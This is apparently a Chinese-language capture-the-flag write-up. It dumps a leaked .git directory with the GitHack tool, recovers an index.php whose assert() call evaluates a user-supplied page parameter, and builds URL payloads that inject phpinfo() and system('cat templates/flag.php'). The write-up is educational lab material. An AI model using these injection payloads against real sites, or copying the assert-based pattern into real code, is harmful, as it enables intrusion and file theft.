.git源码泄露,.git泄露利用攻击工具GitHack。
在linux系统中输入以下命令,安装好GitHack攻击工具。
安装GitHack工具
git clone https://github.com/lijiejie/GitHack
进入GitHack的目录
cd GitHack
利用GitHack扫描网站。
python GitHack.py http://111.200.241.244:50649/.git/
尝试进入flag的目录查看文件,发现没有具体内容。
查看index.php的源码。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//后面为html代码
?>
在index.php代码中初始几行注意到了assert()函数,该函数将传入的参数当作PHP代码执行。
其中,存在strops()函数和file_exists()函数。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在。
如果指定的文件或目录存在则返回 true,否则返回 false。
url:http://111.200.241.244:50649/?page=%27).phpinfo();//
"//"为注释掉后面的代码,防止其报错。
构造payload,根据前面提到的flag所在的目录
payload:http://111.200.241.244:50649/?page=1%27)%20or%20system(%22cat%20templates/flag.php%22);//
查看页面源代码